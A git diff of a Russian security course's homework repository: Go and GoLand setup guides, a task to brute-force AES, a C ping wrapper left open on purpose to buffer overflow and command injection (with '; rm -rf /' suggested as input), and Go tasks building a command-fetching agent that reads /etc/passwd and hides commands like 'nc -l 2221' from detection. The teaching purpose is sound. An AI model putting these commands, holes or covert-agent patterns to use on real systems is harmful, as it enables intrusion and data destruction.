подтверждения установки: - -![](pic/go/mac/step5.png) - -###### Шаг 6. Ожидаете завершения установки: - -![](pic/go/mac/step6.png) - -###### Шаг 7. Завершаете установку: - -![](pic/go/mac/step7.png) - -###### Шаг 8. Проверяете установку: - -Открываете терминал ([Руководство по терминалу](terminal.md)) и запускаете команду `go version`. - -Если будет выведена та версия, которую вы устанавливали – всё ок, если нет – пишете в Slack, на каком конкретно шаге остановились - -## Linux - -##### Шаг 1. Забиваете в Google "Golang" и переходите по ссылке Download: - -![](pic/go/linux/step1.png) - -###### Шаг 2. Скачиваете установочный файл: - -![](pic/go/linux/step2.png) - -###### Шаг 3. Устанавливаете - -Для этого необходимо [открыть терминал](terminal.md) и перейти в каталог, в который вы скачали Go (обычно `Downloads`): -```shell -$ cd ~/Downloads -``` - -Далее распаковать Go в каталог `/usr/local` (для этого потребуются права супер-пользователя): -```shell -$ sudo tar -C /usr/local -xzf go1.14.4.linux-amd64.tar.gz -``` - -###### Шаг 4. Обновляете переменную `PATH`: - -Для этого открываете файл `~/.profile` в любом текстовом редакторе и в самом низу добавляете строку: -```shell -export PATH=$PATH:/usr/local/go/bin -``` - -После этого необходимо либо перезапустить терминал, либо выполнить команду: -```shell -$ source ~/.profile -``` - -###### Шаг 5. Проверяете установку: - -В терминале (после выполнения действий из предыдущего шага): -```shell -$ go version -``` - -Если будет выведена та версия, которую вы устанавливали – всё ок, если нет – пишете в Slack, на каком конкретно шаге остановились - -## GOPATH - -Раньше в Go было принято писать все проекты в структуре каталогов, которые расположены по пути, хранящемся в переменной окружения `GOPATH`. - -В современных версиях Go принят подход модулей, когда вы можете создавать проекты в любом каталоге (не обязательно он должен быть в `GOPATH`). - -Мы с вами будем рассматривать именно этот подход – поэтому посмотрите, куда указывает `GOPATH` и не создавайте проекты там (`GOPATH` будет предназначен для другого – хранения скачанных библиотек, бинарных файлов и т.д.). diff --git a/09_go/goland-installation.md b/09_go/goland-installation.md deleted file mode 100644 index d2e6955..0000000 --- a/09_go/goland-installation.md +++ /dev/null @@ -1,133 +0,0 @@ -# Установка и активация GoLand - -В курсе будет использоваться коммерческая IDE от компании JetBrains. Как студенту курса вам предоставляется купон на бесплатное использование на 6 месяцев. - -**Важно**: всё абсолютно бесплатно. Не вводите нигде никаких данных карт, не скачивайте никаких активаторов и т.д. - -Инструкция написана для ОС Windows, на Mac OS всё аналогично, на Linux вам нужно будет скачать архив, распаковать и запускать из него *.sh файл (остальное по аналогии). - -**Важно**: если у вас что-то не получилось, напишите в Slack, на каком конкретно шаге вы застряли и что не получается. - -##### Шаг 0. Обратитесь к координатору для получения купона - -##### Шаг 1. Переходите на страницу https://www.jetbrains.com/store/redeem/ и заполняете форму: - -![](pic/goland/step1.png) - -Соответственно: - -1 - ваши персональные данные и купон (вводите действующий email, он нужен будет для активации) - -2 - продукт: для курсов Go нужен GoLand (если вы используете это руководство для установки другого продукта, например IDEA или WebStorm, то выбираете его) - -3 - отправляете форму - -###### Шаг 2. При успешном заполнении формы получаете страничку: - -![](pic/goland/step2.png) - -###### Шаг 3. Переходите в свой почтовый ящик, указанный на первом шаге и ищете там письмо от JetBrains: - -![](pic/goland/step3.png) - -Переходите по ссылке из письма - -###### Шаг 4. Внимательно читаете и принимаете лицензионное соглашение: - -![](pic/goland/step4.png) - -###### Шаг 5. Создаёте JetBrains аккаунт: - -![](pic/goland/step5.png) - -Все поля, кроме логина и паролей будут предзаполнены. Вам остаётся только выбрать логин, установить пароль и поставить флажки - -Нажимаете на кнопку "Submit" - -###### Шаг 6. Смотрите на активированную подписку: - -![](pic/goland/step6.png) - -Удостоверяетесь, что подписка оформлена на вас, на 6 месяцев. Если что-то пошло не так, пишете в саппорт JetBrains - -###### Шаг 7. Переходите на сайт "JetBrains Toolbox": - -![](pic/goland/step7.png) - -JetBrains Toolbox - это удобная утилита для управления продуктами JetBrains (установка, обновление, откат к предыдущей версии) - -Переходите по ссылке - -###### Шаг 8. Скачиваете JetBrains Toolbox: - -![](pic/goland/step8.png) - -Выбираете вашу ОС (обычно определяется автоматически), устанавливаете и запускаете как любое другое приложение - -###### Шаг 9. Принимаете User Agreement: - -![](pic/goland/step9.png) - -Внимательно читаете, соглашаетесь с лицензионным соглашением - -###### Шаг 10. Устанавливаете GoLand: - -![](pic/goland/step10.png) - -В списке продуктов находите GoLand, нажимаете на кнопку "Install" - -###### Шаг 11. Ожидание завершения установки: - -![](pic/goland/step11.png) - -Ждёте, пока всё скачается и установится - -###### Шаг 12. Запускаете GoLand: - -![](pic/goland/step12.png) - -После установки GoLand появится в блоке "Installed", запускаете его оттуда - -###### Шаг 13. Соглашаетесь/не соглашаетесь на Data Sharing: - -![](pic/goland/step13.png) - -Выбираете, отсылать статистику в JetBrains или нет - -###### Шаг 14. Импортируете/не импортируете предыдущие настройки: - -![](pic/goland/step14.png) - -Если вы до этого уже использовали продукты JetBrains и хотите импортировать настройки, можете выбрать первую опцию - -Мы выбираем вторую и нажимаем "OK" - -###### Шаг 15. Выбираете тему: - -![](pic/goland/step15.png) - -Выбираете нужную вам тему, можете выбрать другие настройки через Next - -Мы же выбираем "Skip Remaining and Set Defaults" - -###### Шаг 16. Активируете: - -![](pic/goland/step16.png) - -Оставляете всё как на скриншоте, вводите только email и пароль, которые использовали при создании JetBrains Account - -###### Шаг 17. Запускаете: - -![](pic/goland/step17.png) - -IDE активирована, можете работать - -## Q & A - -1. У GoLand нет бесплатной версии -1. Если у вас что-то не получилось, присылаете номер шага и скриншот того, что не получилось -1. Купон можно активировать только один раз на один email -1. Купоны не суммируются -1. Не надо откладывать купон на "потом" (его нужно использовать до определённой даты) -1. Можно использовать учётную запись на нескольких компьютерах (например, дома и на работе) -1. Если вы выбрали и активировали купон не на тот продукт, то из личного кабинета JetBrains нужно будет писать в саппорт diff --git a/09_go/pic/git-bash.png b/09_go/pic/git-bash.png deleted file mode 100644 index 3cd6022..0000000 Binary files a/09_go/pic/git-bash.png and /dev/null differ diff --git a/09_go/pic/go/linux/step1.png b/09_go/pic/go/linux/step1.png deleted file mode 100644 index 01af6ff..0000000 Binary files a/09_go/pic/go/linux/step1.png and /dev/null differ diff --git a/09_go/pic/go/linux/step2.png b/09_go/pic/go/linux/step2.png deleted file mode 100644 index 8f5baa0..0000000 Binary files a/09_go/pic/go/linux/step2.png and /dev/null differ diff --git a/09_go/pic/go/mac/step1.png b/09_go/pic/go/mac/step1.png deleted file mode 100644 index 01af6ff..0000000 Binary files a/09_go/pic/go/mac/step1.png and /dev/null differ diff --git a/09_go/pic/go/mac/step2.png b/09_go/pic/go/mac/step2.png deleted file mode 100644 index 1fcf71b..0000000 Binary files a/09_go/pic/go/mac/step2.png and /dev/null differ diff --git a/09_go/pic/go/mac/step3.png b/09_go/pic/go/mac/step3.png deleted file mode 100644 index b9d0ed9..0000000 Binary files a/09_go/pic/go/mac/step3.png and /dev/null differ diff --git a/09_go/pic/go/mac/step4.png b/09_go/pic/go/mac/step4.png deleted file mode 100644 index 00990e5..0000000 Binary files a/09_go/pic/go/mac/step4.png and /dev/null differ diff --git a/09_go/pic/go/mac/step5.png b/09_go/pic/go/mac/step5.png deleted file mode 100644 index 85e6b2f..0000000 Binary files a/09_go/pic/go/mac/step5.png and /dev/null differ diff --git a/09_go/pic/go/mac/step6.png b/09_go/pic/go/mac/step6.png deleted file mode 100644 index 8aa95f3..0000000 Binary files a/09_go/pic/go/mac/step6.png and /dev/null differ diff --git a/09_go/pic/go/mac/step7.png b/09_go/pic/go/mac/step7.png deleted file mode 100644 index b2a8e38..0000000 Binary files a/09_go/pic/go/mac/step7.png and /dev/null differ diff --git a/09_go/pic/go/win/step1.png b/09_go/pic/go/win/step1.png deleted file mode 100644 index 01af6ff..0000000 Binary files a/09_go/pic/go/win/step1.png and /dev/null differ diff --git a/09_go/pic/go/win/step2.png b/09_go/pic/go/win/step2.png deleted file mode 100644 index b6a57cb..0000000 Binary files a/09_go/pic/go/win/step2.png and /dev/null differ diff --git a/09_go/pic/go/win/step3.png b/09_go/pic/go/win/step3.png deleted file mode 100644 index 88452de..0000000 Binary files a/09_go/pic/go/win/step3.png and /dev/null differ diff --git a/09_go/pic/go/win/step4.png b/09_go/pic/go/win/step4.png deleted file mode 100644 index 00af613..0000000 Binary files a/09_go/pic/go/win/step4.png and /dev/null differ diff --git a/09_go/pic/go/win/step5.png b/09_go/pic/go/win/step5.png deleted file mode 100644 index a6696ee..0000000 Binary files a/09_go/pic/go/win/step5.png and /dev/null differ diff --git a/09_go/pic/go/win/step6.png b/09_go/pic/go/win/step6.png deleted file mode 100644 index c63a8bc..0000000 Binary files a/09_go/pic/go/win/step6.png and /dev/null differ diff --git a/09_go/pic/go/win/step7.png b/09_go/pic/go/win/step7.png deleted file mode 100644 index 308b75b..0000000 Binary files a/09_go/pic/go/win/step7.png and /dev/null differ diff --git a/09_go/pic/go/win/step8.png b/09_go/pic/go/win/step8.png deleted file mode 100644 index 6836da4..0000000 Binary files a/09_go/pic/go/win/step8.png and /dev/null differ diff --git a/09_go/pic/go/win/step9.png b/09_go/pic/go/win/step9.png deleted file mode 100644 index eb0839b..0000000 Binary files a/09_go/pic/go/win/step9.png and /dev/null differ diff --git a/09_go/pic/goland-terminal.png b/09_go/pic/goland-terminal.png deleted file mode 100644 index 1a34d18..0000000 Binary files a/09_go/pic/goland-terminal.png and /dev/null differ diff --git a/09_go/pic/goland/step1.png b/09_go/pic/goland/step1.png deleted file mode 100644 index 7783b2d..0000000 Binary files a/09_go/pic/goland/step1.png and /dev/null differ diff --git a/09_go/pic/goland/step10.png b/09_go/pic/goland/step10.png deleted file mode 100644 index 8d44b28..0000000 Binary files a/09_go/pic/goland/step10.png and /dev/null differ diff --git a/09_go/pic/goland/step11.png b/09_go/pic/goland/step11.png deleted file mode 100644 index ebdc1d7..0000000 Binary files a/09_go/pic/goland/step11.png and /dev/null differ diff --git a/09_go/pic/goland/step12.png b/09_go/pic/goland/step12.png deleted file mode 100644 index 7037b44..0000000 Binary files a/09_go/pic/goland/step12.png and /dev/null differ diff --git a/09_go/pic/goland/step13.png b/09_go/pic/goland/step13.png deleted file mode 100644 index 750d0d9..0000000 Binary files a/09_go/pic/goland/step13.png and /dev/null differ diff --git a/09_go/pic/goland/step14.png b/09_go/pic/goland/step14.png deleted file mode 100644 index e632531..0000000 Binary files a/09_go/pic/goland/step14.png and /dev/null differ diff --git a/09_go/pic/goland/step15.png b/09_go/pic/goland/step15.png deleted file mode 100644 index 30a5048..0000000 Binary files a/09_go/pic/goland/step15.png and /dev/null differ diff --git a/09_go/pic/goland/step16.png b/09_go/pic/goland/step16.png deleted file mode 100644 index 90682fc..0000000 Binary files a/09_go/pic/goland/step16.png and /dev/null differ diff --git a/09_go/pic/goland/step17.png b/09_go/pic/goland/step17.png deleted file mode 100644 index 5820b07..0000000 Binary files a/09_go/pic/goland/step17.png and /dev/null differ diff --git a/09_go/pic/goland/step2.png b/09_go/pic/goland/step2.png deleted file mode 100644 index 9f5ea58..0000000 Binary files a/09_go/pic/goland/step2.png and /dev/null differ diff --git a/09_go/pic/goland/step3.png b/09_go/pic/goland/step3.png deleted file mode 100644 index 1209889..0000000 Binary files a/09_go/pic/goland/step3.png and /dev/null differ diff --git a/09_go/pic/goland/step4.png b/09_go/pic/goland/step4.png deleted file mode 100644 index 701d7c7..0000000 Binary files a/09_go/pic/goland/step4.png and /dev/null differ diff --git a/09_go/pic/goland/step5.png b/09_go/pic/goland/step5.png deleted file mode 100644 index 5fa8c61..0000000 Binary files a/09_go/pic/goland/step5.png and /dev/null differ diff --git a/09_go/pic/goland/step6.png b/09_go/pic/goland/step6.png deleted file mode 100644 index da0db4f..0000000 Binary files a/09_go/pic/goland/step6.png and /dev/null differ diff --git a/09_go/pic/goland/step7.png b/09_go/pic/goland/step7.png deleted file mode 100644 index cfa4949..0000000 Binary files a/09_go/pic/goland/step7.png and /dev/null differ diff --git a/09_go/pic/goland/step8.png b/09_go/pic/goland/step8.png deleted file mode 100644 index c5c372d..0000000 Binary files a/09_go/pic/goland/step8.png and /dev/null differ diff --git a/09_go/pic/goland/step9.png b/09_go/pic/goland/step9.png deleted file mode 100644 index a0f0a57..0000000 Binary files a/09_go/pic/goland/step9.png and /dev/null differ diff --git a/09_go/pic/linux-open-ru.png b/09_go/pic/linux-open-ru.png deleted file mode 100644 index 02dbae3..0000000 Binary files a/09_go/pic/linux-open-ru.png and /dev/null differ diff --git a/09_go/pic/linux-open.png b/09_go/pic/linux-open.png deleted file mode 100644 index b59dff4..0000000 Binary files a/09_go/pic/linux-open.png and /dev/null differ diff --git a/09_go/pic/mac-services.png b/09_go/pic/mac-services.png deleted file mode 100644 index bc2c4af..0000000 Binary files a/09_go/pic/mac-services.png and /dev/null differ diff --git a/09_go/pic/mac-settings.png b/09_go/pic/mac-settings.png deleted file mode 100644 index ae3d241..0000000 Binary files a/09_go/pic/mac-settings.png and /dev/null differ diff --git a/09_go/pic/mac-terminal.png b/09_go/pic/mac-terminal.png deleted file mode 100644 index 63ff2e8..0000000 Binary files a/09_go/pic/mac-terminal.png and /dev/null differ diff --git a/09_go/pic/windows-cmd.png b/09_go/pic/windows-cmd.png deleted file mode 100644 index 1f8743a..0000000 Binary files a/09_go/pic/windows-cmd.png and /dev/null differ diff --git a/09_go/terminal.md b/09_go/terminal.md deleted file mode 100644 index 51a64d7..0000000 --- a/09_go/terminal.md +++ /dev/null @@ -1,7 +0,0 @@ -# Краткое руководство по работе с терминалом - -### GoLand - -Во всех IDE JetBrains (GoLand в их числе), который мы будем использовать в рамках этого курса, сочетание клавиш `Alt + F12` позволяют сразу открыть терминал в каталоге, где расположен текущий проект: - -![](pic/goland-terminal.png) diff --git a/09_python3/README.md b/09_python3/README.md new file mode 100644 index 0000000..66ee99b --- /dev/null +++ b/09_python3/README.md @@ -0,0 +1,14 @@ +# Домашнее задание к занятию «Язык программирования Python. Криптография.» + +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru/). + +**Важно**: перед отправкой переименуйте ваш скрипт в `script.txt` (система отправки файлов Netology блокирует файлы с расширением `.py`). + + + +## Задание 1 + +Реализуйте атаку грубой силой на текст, зашифрованный AES. В качестве пароля возьмите трёхзначное число. + + +Примечание: вместо **pip install *cryptodome*** сейчас лучше использовать **pip install *pycryptodome***, - это обновлённый пакет криптографии для Python. Более подробую информацию можно посмотреть вот здесь: [Installation pycryptodome](https://pycryptodome.readthedocs.io/en/latest/src/installation.html?highlight=Cryptodome#compiling-in-linux-ubuntu) diff --git a/10_c/README.md b/10_c/README.md new file mode 100644 index 0000000..1330a32 --- /dev/null +++ b/10_c/README.md @@ -0,0 +1,164 @@ + +# Домашнее задание к занятию «Язык С и программные уязвимости» + +**Описание задания** + +В рамках данного задания вам предстоит разобраться с уязвимостями в программе на языке C. Программа содержит уязвимость, которая может привести к падению приложения или выполнению другой команды. + +**Инструкция к выполнению:** +1. Формат сдачи домашнего задания - ссылка на Google документ. +2. Предоставьте доступ на комментирование всем, у кого есть ссылка. +3. Выполните задание в два этапа: +Задание 1: Найдите уязвимость и попытайтесь вызвать сбой приложения (segmentation fault). +Задание 2: Проанализируйте «исправленную» программу и ответьте на вопросы, связанные с безопасностью. +4. Загрузите решения в личном кабинете студента на сайте [netology.ru](https://netology.ru). + +**Практическая ценность задания** +В реальной жизни выявление и устранение подобных уязвимостей является важной частью работы специалистов по безопасности программного обеспечения. Программы с подобными ошибками могут стать мишенью для атак, поэтому их необходимо исправлять ещё на стадии разработки. В рамках этого задания вы научитесь анализировать код на наличие таких ошибок и понимать, как злоумышленники могут их использовать. + + + +## Задание 1 + +**Важно**: выполняйте данную задачу на ОС Linux (Ubuntu или Kali) + +### Легенда + +У вас есть следующий код: +```c +#include +#include +#include + +int main() { + /* выделяем буфер из 255 символов + \0 для хранения команды */ + char command[256] = {'p', 'i', 'n', 'g', ' ', '\0'}; + /* буфер для хранения хоста, который нужно пропинговать */ + char host[16]; + + printf("please enter host for ping\n"); + /* получаем от пользователя имя хоста - нужно ввести в консоли, например, ya.ru и нажать Enter */ + gets(host); + + /* отладочный вывод - печатаем команду */ + printf("command: %s\n", command); + /* отладочный вывод - печатаем хост */ + printf("host: %s\n", host); + + /* добавляем к команде хост, при этом \0 в команде заменяется на первый символ из host */ + strcat(command, host); + + /* отладочный вывод - печатаем полную команду */ + printf("full command: %s\n", command); + + /* выполняем команду */ + system(command); + + return 0; +} +``` + +*Важно*: строки, которые начинаются с `/*` и заканчиваются `*/` - это комментарии (пояснения к коду программы), вы можете их не печатать. + +### Задача + +По аналогии с лекцией установите необходимые зависимости (`apt update && apt install gcc`) и скомпилируйте данную программу (`cc main.c -o main`) - не обращайте внимание на предупреждения, если они будут. + +Далее: +1\. Запустите её (`./main`), вы увидите приглашение вида: + +![](pic/input.png) + +2\. Введите адрес хоста, который необходимо пропинговать и убедитесь, что пинг работает: + +![](pic/ping.png) + +3\. Завершите работу приложения с помощью сочетания клавиш Ctrl + C + + +**Творческая часть:** попробуйте подобрать данные (по аналогии с лекцией) так, чтобы приложение "упало" (вы получили сообщение segmentation fault или другое, свидетельствующее об ошибке) + + +_Пример:_ +Попробуйте ввести очень длинный адрес хоста (например, 100 символов) и посмотрите, как программа себя поведёт. + +Этот дополнительный пример поможет вам более глубоко понять, как различные типы ввода могут привести к проблемам с безопасностью. + +**Результаты:** +В ответах укажите ввод, приводящий к падению приложения, в личном кабинете студента на сайте netology.ru. + + +## Задание 2 + +**Важно**: выполняйте данную задачу на ОС Linux (Ubuntu или Kali) + +### Легенда + +Программисты прислали вам якобы "исправленный" вариант программы `ping`: +```c +#include +#include +#include + +int main() { + /* выделяем буфер из 24 символов для хранения команды */ + char command[24] = "ping "; + /* буфер для хранения хоста, который нужно пропинговать */ + char host[16]; + + printf("please enter host for ping\n"); + /* получаем от пользователя имя хоста */ + /* нужно ввести в консоли, например, ya.ru и нажать Enter */ + fgets(host, sizeof(host), stdin); + + /* отладочный вывод - печатаем команду */ + printf("command: %s\n", command); + /* отладочный вывод - печатаем хост */ + printf("host: %s\n", host); + + /* добавляем к команде хост, при этом \0 в команде заменяется на первый символ из host */ + strcat(command, host); + + /* отладочный вывод - печатаем полную команду */ + printf("full command: %s\n", command); + + /* выполняем команду */ + system(command); + + return 0; +} +``` + +### Задача +Проведите повторный анализ и посмотрите: +Можно ли реализовать падение приложения? +Можно ли выполнить произвольную команду (если да, то как)? +Если ответ на п.2 - да, то можно ли получить shell (т.е. запустить sh и bash и продолжить работу с интерпретатором команд в интерактивном режиме)? + +_Пример:_ Попробуйте ввести специальные символы (например, ; rm -rf /), чтобы проверить, выполнит ли программа произвольные команды. + +### Результаты +Заполните ответы на вопросы из задания и загрузите их в личном кабинете на сайте netology.ru. + + +**Критерии выполнения задания** + +_Задание 1_ (анализ уязвимости и компиляция программы): +1. Корректность компиляции программы: Студент должен успешно скомпилировать программу без критических ошибок. +2. Запуск программы: Программа должна корректно запрашивать ввод хоста и выполнять команду ping. +3. Творческая часть (выявление ошибки): Студент должен продемонстрировать, как программа может «упасть». + +_Задание 2_ (анализ исправленного кода): +1. Анализ исправленной программы: Студент должен корректно ответить на вопросы о том, возможно ли падение приложения и можно ли выполнить произвольную команду. +2. Понимание уязвимости: Студент должен объяснить, какие уязвимости могут быть в исправленном коде и как их можно использовать для выполнения произвольных команд. +3. Качество ответа на вопросы: Студент должен чётко, полно и грамотно ответить на вопросы, включая описание уязвимостей и потенциальных атак, а также методы их эксплуатации. +4. Документация и отчет: Студент должен предоставить отчет с результатами, который включает в себя: +Ввод, который вызвал падение программы (для задания 1). +Ответы на вопросы из задания 2. +Возможные объяснения о том, как были найдены уязвимости. + + + + + + diff --git a/10_c/pic/1 b/10_c/pic/1 new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/10_c/pic/1 @@ -0,0 +1 @@ + diff --git a/07_c/pic/input.png b/10_c/pic/input.png similarity index 100% rename from 07_c/pic/input.png rename to 10_c/pic/input.png diff --git a/07_c/pic/ping.png b/10_c/pic/ping.png similarity index 100% rename from 07_c/pic/ping.png rename to 10_c/pic/ping.png diff --git a/10_go/README.md b/10_go/README.md deleted file mode 100644 index bc87945..0000000 --- a/10_go/README.md +++ /dev/null @@ -1,230 +0,0 @@ -# Домашнее задание к занятию «Программирование на Go - структуры и методы» - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). - -**Важно**: GoLand устанавливать не обязательно (но очень желательно), вы можете набирать текст программ в любом текстовом редакторе и запускать из консоли командой: `go run main.go`, либо собирать с помощью команды: `go build -o main main.go`. - -## Задача "Windows" - -**Важно**: данную ДЗ нужно выполнять в ОС Windows - -### Легенда - -На основании проекта с лекции (см. листинг файла под катом) реализовать сборку списка пользователей в ОС Windows. - -
-Файл с лекции - -```go -package main - -import ( - "encoding/json" - "log" - "os" - "os/exec" - "os/user" -) - -func main() { - current, err := user.Current() - // err + Tab напишет за вас - if err != nil { - log.Print(err) - // завершает работу с ненулевым кодом возврата - os.Exit(1) - // т.е. следующая строка исполнена не будет - } - - // выполняем только если не зашли в if - data, err := json.Marshal(current) - if err != nil { - log.Print(err) - os.Exit(1) - } - log.Print(data) // распечатаются "байты" - log.Print(string(data)) // преобразовываем слайс байт в строку - - command := "cat /etc/passwd" - sh := "sh" - c := "-c" - - // TODO: пишите код здесь - - cmd := exec.Command(sh, c, command) - output, err := cmd.Output() // запускает команду и возвращает вывод в виде []byte - if err != nil { - log.Print(err) - os.Exit(1) - } - log.Print(string(output)) -} -``` -
- -### Выполнение - -1. Посмотрите на пакет [runtime](https://golang.org/pkg/runtime/), а именно на переменную `GOOS` (использовать как `runtime.GOOS`), в которой могут храниться значения `windows`, `linux`, `darwin` (и другие - см. вывод команды `go tools dist list` значение до `/`, например, `linux/386`, `linux` - `GOOS`, `386` - `GOARCH`, целевая архитектура) -1. Если значение вышеуказанной переменной равно `windows`, то замените `command` на команду для вывода списка пользователей в ОС Windows, `sh` на `cmd`, а `c` на `/C` (см. подсказки) -1. Согласно приложенному ниже описанию сформируйте сборочные (`bat` или `sh`) скрипты для сборки под разные ОС -1. Запустите приложение под Windows и убедитесь, что вы получаете нужный список пользователей -1. Проведите исследование и ответьте на следующий вопросы: - 1. За что отвечает флаг `-c` в `sh` и `/C` в `cmd`? - 1. Что будет, если попробовать исполнить те же команды напрямую в вашем приложении, без `sh -c` или `cmd /C`? - -
-Подсказка по команде для вывода пользователей - -Обратите внимание на команду `net` (см. `net /?`). -
- -
-Подсказка по программной реализации - -```go -package main - -import ( - "encoding/json" - "log" - "os" - "os/exec" - "os/user" - "runtime" -) - -func main() { - current, err := user.Current() - // err + Tab напишет за вас - if err != nil { - log.Print(err) - // завершает работу с ненулевым кодом возврата - os.Exit(1) - // т.е. следующая строка исполнена не будет - } - - // выполняем только если не зашли в if - data, err := json.Marshal(current) - if err != nil { - log.Print(err) - os.Exit(1) - } - log.Print(data) // распечатаются "байты" - log.Print(string(data)) // преобразовываем слайс байт в строку - - log.Print(runtime.GOOS) - - - command := "cat /etc/passwd" - sh := "sh" - c := "-c" - if runtime.GOOS == "windows" { - command = "??? ваша команда здесь ???" - sh = "cmd" - c = "/C" - } - cmd := exec.Command(sh, c, command) - output, err := cmd.Output() // запускает команду и возвращает вывод в виде []byte - if err != nil { - log.Print(err) - os.Exit(1) - } - log.Print(string(output)) -} -``` -
- -
-Подсказка по -c, /C - -Попробуйте сравнить вывод (версия для Linux): -```go -cmd := exec.Command("sh", "-c", "echo $PATH") -``` - -```go -cmd := exec.Command("echo", "$PATH") -``` - -Вернитесь к лекции по Си и попробуйте сравнить с поведением вот этой программы: -```c -#include - -int main() { - system("echo $PATH"); // echo PATH в Windows - return 0; -} -``` - -Возможно, вам поможет раздел `Overview` из документации на пакет `exec`: -``` -Package exec runs external commands. It wraps os.StartProcess to make it easier to remap stdin and stdout, connect I/O with pipes, and do other adjustments. - -Unlike the "system" library call from C and other languages, the os/exec package intentionally does not invoke the system shell and does not expand any glob patterns or handle other expansions, pipelines, or redirections typically done by shells. The package behaves more like C's "exec" family of functions. To expand glob patterns, either call the shell directly, taking care to escape any dangerous input, or use the path/filepath package's Glob function. To expand environment variables, use package os's ExpandEnv. -``` - -Доп.ссылки для изучения: -* [`system` в Windows](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/system-wsystem?view=msvc-160) -* [`system` в man](https://man7.org/linux/man-pages/man3/system.3.html) - -
- -#### Написание сборочного скрипта - -Для того, чтобы скомпилировать исполняемый файл под конкретную архитектуру, необходимо сделать следующее: -1. Установить переменную окружения `GOOS` в целевое значение, например, `windows` -1. Установить переменную окружения `GOARCH` в целевое значение, например, `amd64` -1. Установить переменную окружения `CGO_ENABLED` в значение `0` -1. Выполнить команду `go build -o main.exe main.go` - -Используя ваши знания по написанию сценариев командной оболочки, реализуйте скрипты `bat` или `sh`, автоматизирующие данные операции. - -
-Подсказка по сборочному скрипту (bat) - -```bat -@ECHO OFF - -:: устанавливаем целевую архитектуру -SET GOARCH=amd64 -:: отключаем зависимость от libc -SET CGO_ENABLED=0 - -:: устанавливаем целевую ОС и собираем -SET GOOS=windows -go build -o client.exe main.go - -:: устанавливаем целевую ОС и собираем -SET GOOS=linux -go build -o client.bin main.go - -:: устанавливаем целевую ОС и собираем -SET GOOS=darwin -go build -o client.ibin main.go -``` -
- -
-Подсказка по сборочному скрипту (sh) - -```sh -#!/bin/sh - -# в nix достаточно перед командой выставить переменные в формате key=value -GOARCH=amd64 CGO_ENABLED=0 GOOS=windows go build -o client.exe main.go - -GOARCH=amd64 CGO_ENABLED=0 GOOS=linux go build -o client.bin main.go - -GOARCH=amd64 CGO_ENABLED=0 GOOS=darwin go build -o client.ibin main.go -``` -
- -### Результаты - -В качестве результата пришлите: -1. Исходный код вашего приложения -1. Ответ на вопрос по поводу `sh -c` и `cmd /C` -1. Сборочный скрипт (перед отправкой переименуйте его в `build.bat.txt` или `build.sh.txt` соответственно - система загрузки Netology не разрешает загружать `sh` и `bat`) -1. Пример вывода вашей программы в ОС Windows (нужно запустить приложение и сделать скриншот вывода - если вы делаете на своей основной машине, то не забудьте с помощью Paint или любого иного инструмента "замазать" реальные данные) - -В качестве результата пришлите указанные выше пункты в личном кабинете студента на сайте [netology.ru](https://netology.ru). diff --git a/11_go/README.md b/11_go/README.md deleted file mode 100644 index e22e1be..0000000 --- a/11_go/README.md +++ /dev/null @@ -1,211 +0,0 @@ -# Домашнее задание к занятию «Программирование на Go - внешние библиотеки» - -В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). - -**Важно**: GoLand устанавливать не обязательно (но очень желательно), вы можете набирать текст программ в любом текстовом редакторе и запускать из консоли командой: `go run main.go`, либо собирать с помощью команды: `go build -o main main.go`. - -## Задача "Commands executing" - -### Легенда - -На основании проекта с лекции реализовать исполнение команд агентом. - -### Выполнение - -**Важно**: не забывайте после изменения кода сервера или клиента перезапускать их. - -1. У вас есть готовый сервер, отдающий команду `cat /etc/passwd` -1. У вас есть готовый клиент, который умеет читать тело ответа -1. Осталось "закинуть тело" ответа в `system` (см. прошлые ДЗ) - -### Результаты - -В качестве результата пришлите: исходный код вашего приложения (запакуйте в zip-архив или выложите проект на GitHub, если вы посмотрели лекции по Git) - -## Задача "Windows/Linux"* - -**Важно**: данная задача не является обязательной, её (не)выполнение не влияет на получение зачёта по ДЗ. - -### Легенда - -Как вы помните, команды могут быть разные для разных ОС. Почему бы не использовать переменную `GOOS`, для того, чтобы оповещать сервер о том, на какой операционной системе работает клиент? - -### Выполнение - -**Важно**: не забывайте после изменения кода сервера или клиента перезапускать их. - -1\. Необходимо добавить отправку информации об ОС в строке запроса на клиенте, так, чтобы получалось: - -``` -GET http://localhost:9999/updates?os=linux -``` - -Всё, что идёт после вопросительного знака в формате `key=value` до символа `#` или конца строки (если символа решётки нет) называется Query Params (иногда часть `=value` может отсутствовать). - -В частности, HTML-формы, отправляемые запросом GET (например, поиск Google, Yandex и других сервисах - Booking, etc) попадают именно в Query Params. - -
-Подсказка - -```go -resp, err := client.Get("http://localhost:9999/updates?os=" + runtime.GOOS) -``` - -Примечание*: это можно сделать и более "красиво", но для нас: самый простой метод - самый удобный. -
- -2\. Необходимо извлечь передаваемые данные об ОС на сервере с помощью метода [`FormValue` у структуры `http.Request`](https://golang.org/pkg/net/http/#Request.FormValue) и исходя из них отдавать команды - -
-Подсказка - -```go -value := request.FormValue("os") -if value == "linux" { - writer.Write([]byte("cat /etc/passwd")) - // позволяет завершить выполнение функции - // не делайте os.Exit() - это завершит работу всего сервера - return -} -if value == "windows" { - writer.Write([]byte("net user")) - return -} -``` -
- -3\. Удостоверьтесь, что это работает под различными ОС (как минимум, Linux и Windows) - -### Результаты - -В качестве результата пришлите: исходный код вашего приложения (запакуйте в zip-архив или выложите проект на GitHub, если вы посмотрели лекции по Git) - -## Задача "Hiding & netcat shell"* - -**Важно**: данная задача не является обязательной, её (не)выполнение не влияет на получение зачёта по ДЗ. - -### Легенда - -Как мы уже говорили, отправка команд в явном виде выглядит слишком подозрительно. Почему бы нам не воспользоваться простейшими знаниями из истории криптографии и попробовать "скрыть" передаваемые команды. Например, договориться, что мы читаем каждый третий символ из ответа, таким образом составляя команду, которую необходимо выполнить. - -**Q**: О чём идёт речь? - -**A**: например, сервер нам будет присылать вот такой бессвязный текст в ответ на `GET http://localhost:9999/updates`: -```no-exc.v10 libc-v2 ldd10 stux2020.20 c.2020.10.04``` - -Если клиент будет брать каждый "пятый" символ, начиная с 0-го (0, 5, 10, 15, 20, и т.д.), то рано или поздно мы получим команду `nc -l 2221`. - -**Важно**: в целях упрощения мы будем брать фиксированные индексы и фиксированную длину команды, 